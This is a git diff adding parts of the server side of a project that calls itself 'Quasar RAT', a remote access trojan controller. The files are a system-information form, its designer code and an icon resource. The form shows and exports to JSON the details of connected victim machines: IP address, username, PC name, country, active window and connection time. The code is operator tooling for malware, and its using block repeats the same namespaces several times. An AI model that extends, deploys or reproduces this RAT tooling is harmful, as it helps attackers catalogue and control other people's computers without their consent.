this.refreshToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(205, 88); + // + // copyToClipboardToolStripMenuItem + // + this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.copyAllToolStripMenuItem, + this.copySelectedToolStripMenuItem}); + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; + this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; + // + // copyAllToolStripMenuItem + // + this.copyAllToolStripMenuItem.Name = "copyAllToolStripMenuItem"; + this.copyAllToolStripMenuItem.Size = new System.Drawing.Size(149, 26); + this.copyAllToolStripMenuItem.Text = "All"; + this.copyAllToolStripMenuItem.Click += new System.EventHandler(this.copyAllToolStripMenuItem_Click); + // + // copySelectedToolStripMenuItem + // + this.copySelectedToolStripMenuItem.Name = "copySelectedToolStripMenuItem"; + this.copySelectedToolStripMenuItem.Size = new System.Drawing.Size(149, 26); + this.copySelectedToolStripMenuItem.Text = "Selected"; + this.copySelectedToolStripMenuItem.Click += new System.EventHandler(this.copySelectedToolStripMenuItem_Click); + // + // exportToJSONToolStripMenuItem + // + this.exportToJSONToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.exportToJSONToolStripMenuItem.Name = "exportToJSONToolStripMenuItem"; + this.exportToJSONToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.exportToJSONToolStripMenuItem.Text = "Export to JSON"; + this.exportToJSONToolStripMenuItem.Click += new System.EventHandler(this.exportToJSONToolStripMenuItem_Click); + // + // toolStripMenuItem2 + // + this.toolStripMenuItem2.Name = "toolStripMenuItem2"; + this.toolStripMenuItem2.Size = new System.Drawing.Size(201, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(204, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // FrmSystemInformation + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(700, 419); + this.Controls.Add(this.lstSystem); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(716, 455); + this.Name = "FrmSystemInformation"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "System Information []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmSystemInformation_FormClosing); + this.Load += new System.EventHandler(this.FrmSystemInformation_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hComponent; + private System.Windows.Forms.ColumnHeader hValue; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem copyToClipboardToolStripMenuItem; + private AeroListView lstSystem; + private System.Windows.Forms.ToolStripMenuItem copyAllToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem copySelectedToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem exportToJSONToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripMenuItem2; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs new file mode 100755 index 0000000..9dc84b6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.cs @@ -0,0 +1,298 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System.IO; +using System.Text; + +namespace Quasar.Server.Forms +{ + public partial class FrmSystemInformation : Form + { + /// + /// The client which can be used for the system information. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly SystemInformationHandler _sysInfoHandler; + + /// + /// Holds the opened system information form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new system information form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the system information form. + /// + /// Returns a new system information form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmSystemInformation CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmSystemInformation f = new FrmSystemInformation(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmSystemInformation(Client client) + { + _connectClient = client; + _sysInfoHandler = new SystemInformationHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the system information message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _sysInfoHandler.ProgressChanged += SystemInformationChanged; + MessageHandler.Register(_sysInfoHandler); + } + + /// + /// Unregisters the system information message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_sysInfoHandler); + _sysInfoHandler.ProgressChanged -= SystemInformationChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmSystemInformation_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void SystemInformationChanged(object sender, List> infos) + { + // remove "Loading..." information + lstSystem.Items.RemoveAt(2); + + foreach (var info in infos) + { + var lvi = new ListViewItem(new[] {info.Item1, info.Item2}); + lstSystem.Items.Add(lvi); + } + + lstSystem.AutosizeColumns(); + } + + private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.Items.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.Items) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.SelectedItems.Count == 0) return; + + string output = string.Empty; + + foreach (ListViewItem lvi in lstSystem.SelectedItems) + { + output = lvi.SubItems.Cast().Aggregate(output, (current, lvs) => current + (lvs.Text + " : ")); + output = output.Remove(output.Length - 3); + output = output + "\r\n"; + } + + ClipboardHelper.SetClipboardTextSafe(output); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + lstSystem.Items.Clear(); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } + + private void exportToJSONToolStripMenuItem_Click(object sender, EventArgs e) + { + if (lstSystem.Items.Count == 0) return; + + // Get client-specific folder + string clientFolder = ClientDataManager.GetClientFolder(_connectClient, "SystemInfo"); + string defaultFileName = ClientDataManager.GenerateTimestampedFilename("SystemInfo", ".json"); + string defaultPath = Path.Combine(clientFolder, defaultFileName); + + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = "JSON files (*.json)|*.json|All files (*.*)|*.*"; + saveFileDialog.FilterIndex = 1; + saveFileDialog.RestoreDirectory = true; + saveFileDialog.InitialDirectory = clientFolder; + saveFileDialog.FileName = defaultFileName; + + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + try + { + ExportToJSON(saveFileDialog.FileName); + MessageBox.Show($"System information exported successfully to:\n{saveFileDialog.FileName}", + "Export Successful", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to export system information:\n{ex.Message}", + "Export Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void ExportToJSON(string filePath) + { + var sb = new StringBuilder(); + sb.AppendLine("{"); + sb.AppendLine(" \"exportInfo\": {"); + sb.AppendLine($" \"exportDate\": \"{DateTime.Now:yyyy-MM-dd HH:mm:ss}\","); + sb.AppendLine($" \"exportedBy\": \"Quasar RAT\""); + sb.AppendLine(" },"); + sb.AppendLine(" \"clientInfo\": {"); + sb.AppendLine($" \"ipAddress\": \"{_connectClient.EndPoint.Address}\","); + sb.AppendLine($" \"port\": {_connectClient.EndPoint.Port},"); + sb.AppendLine($" \"tag\": \"{EscapeJSON(_connectClient.Value.Tag)}\","); + sb.AppendLine($" \"username\": \"{EscapeJSON(_connectClient.Value.Username)}\","); + sb.AppendLine($" \"pcName\": \"{EscapeJSON(_connectClient.Value.PcName)}\","); + sb.AppendLine($" \"userAtPc\": \"{EscapeJSON(_connectClient.Value.UserAtPc)}\","); + sb.AppendLine($" \"version\": \"{EscapeJSON(_connectClient.Value.Version)}\","); + sb.AppendLine($" \"operatingSystem\": \"{EscapeJSON(_connectClient.Value.OperatingSystem)}\","); + sb.AppendLine($" \"accountType\": \"{EscapeJSON(_connectClient.Value.AccountType)}\","); + sb.AppendLine($" \"country\": \"{EscapeJSON(_connectClient.Value.Country)}\","); + sb.AppendLine($" \"countryCode\": \"{EscapeJSON(_connectClient.Value.CountryCode)}\","); + sb.AppendLine($" \"id\": \"{EscapeJSON(_connectClient.Value.Id)}\","); + sb.AppendLine($" \"activeWindow\": \"{EscapeJSON(_connectClient.Value.ActiveWindow)}\","); + sb.AppendLine($" \"connectedTime\": \"{_connectClient.ConnectedTime:yyyy-MM-dd HH:mm:ss} UTC\""); + sb.AppendLine(" },"); + sb.AppendLine(" \"systemInformation\": {"); + + for (int i = 0; i < lstSystem.Items.Count; i++) + { + ListViewItem lvi = lstSystem.Items[i]; + if (lvi.SubItems.Count >= 2) + { + string key = lvi.SubItems[0].Text; + string value = lvi.SubItems[1].Text; + + // Skip empty keys or "Loading..." messages + if (string.IsNullOrWhiteSpace(key) || key.Contains("Getting more information")) + continue; + + // Create a safe JSON key from the component name + string jsonKey = key.Replace(" ", "_").Replace("(", "").Replace(")", "").Replace("/", "_"); + + sb.Append($" \"{jsonKey}\": \"{EscapeJSON(value)}\""); + + // Add comma if not the last item + if (i < lstSystem.Items.Count - 1) + sb.AppendLine(","); + else + sb.AppendLine(); + } + } + + sb.AppendLine(" }"); + sb.AppendLine("}"); + + File.WriteAllText(filePath, sb.ToString()); + } + + private string EscapeJSON(string text) + { + if (string.IsNullOrEmpty(text)) + return ""; + + return text + .Replace("\\", "\\\\") + .Replace("\"", "\\\"") + .Replace("\n", "\\n") + .Replace("\r", "\\r") + .Replace("\t", "\\t"); + } + + /// + /// Adds basic system information which is already available to the ListView. + /// + private void AddBasicSystemInformation() + { + ListViewItem lvi = + new ListViewItem(new[] {"Operating System", _connectClient.Value.OperatingSystem}); + lstSystem.Items.Add(lvi); + lvi = + new ListViewItem(new[] + { + "Architecture", + (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" + }); + lstSystem.Items.Add(lvi); + lvi = new ListViewItem(new[] {"", "Getting more information..."}); + lstSystem.Items.Add(lvi); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemInformation.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + 